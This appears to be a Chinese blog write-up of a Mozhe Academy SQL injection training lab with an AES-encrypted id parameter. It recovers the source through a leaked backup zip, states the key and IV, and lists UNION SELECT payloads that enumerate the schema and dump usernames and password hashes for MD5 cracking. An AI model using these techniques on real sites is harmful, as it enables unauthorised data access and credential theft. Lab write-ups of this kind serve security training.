天天看点

墨者学院 - SQL注入漏洞测试(参数加密)

list.php

御剑扫描得到   http://219.153.49.228:48291/news/list.zip

解压得到源码

墨者学院 - SQL注入漏洞测试(参数加密)

从decode方法可知:AES的数据块长度为128位,密钥为ydhaqPQnexoaDuW3,偏移量为2018201920202021,填充为zeropadding

第八行 :判断网页id后面的查询字符串值,先两次base64解密,再AES解密,删除_mozhe字符,得到需要的id

第十一行;判断字符串是否有 “_mozhe”

反之逆序构造payload,先将注入字符串末尾添加_mozhe字符,然后AES加密

因为AES加密默认已进行了一次base64加密,所以aes加密后再进行一次base64加密即可

(((密文)base64解密)base64解密)AES解密+'_mozhe'=id

((id+“_mozhe”)AES加密)base64加密 = 密文

注入

找显示位置

1 and 1=2 union select 1,2,3,4_mozhe

得出2为标题,3为内容

找数据库名

1 and 1=2 union select 1,database(),version(),4_mozhe

得出数据库mozhe_Discuz_StormGroup

找表名

1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe

得出第一个表:StormGroup_member

后面还会找到notice表,但是没有用

找字段名

一般name,password,status字段在第二个字段以后

1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe

得到第二个字段为name

第三个字段为password

第四个字段为status

找用户名、密码和状态

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

得到第一个用户名,密码,状态

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe

得到第二个用户名,密码,状态

或者

1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from StormGroup_member _mozhe

显示所有用户名密码

墨者学院 - SQL注入漏洞测试(参数加密)

按照惯例,md5解码,获得真密码

登录

Done

https://blog.zhengxianjun.com/online-tool/crypto/aes/

墨者学院 - SQL注入漏洞测试(参数加密)

https://www.sojson.com/base64.html

墨者学院 - SQL注入漏洞测试(参数加密)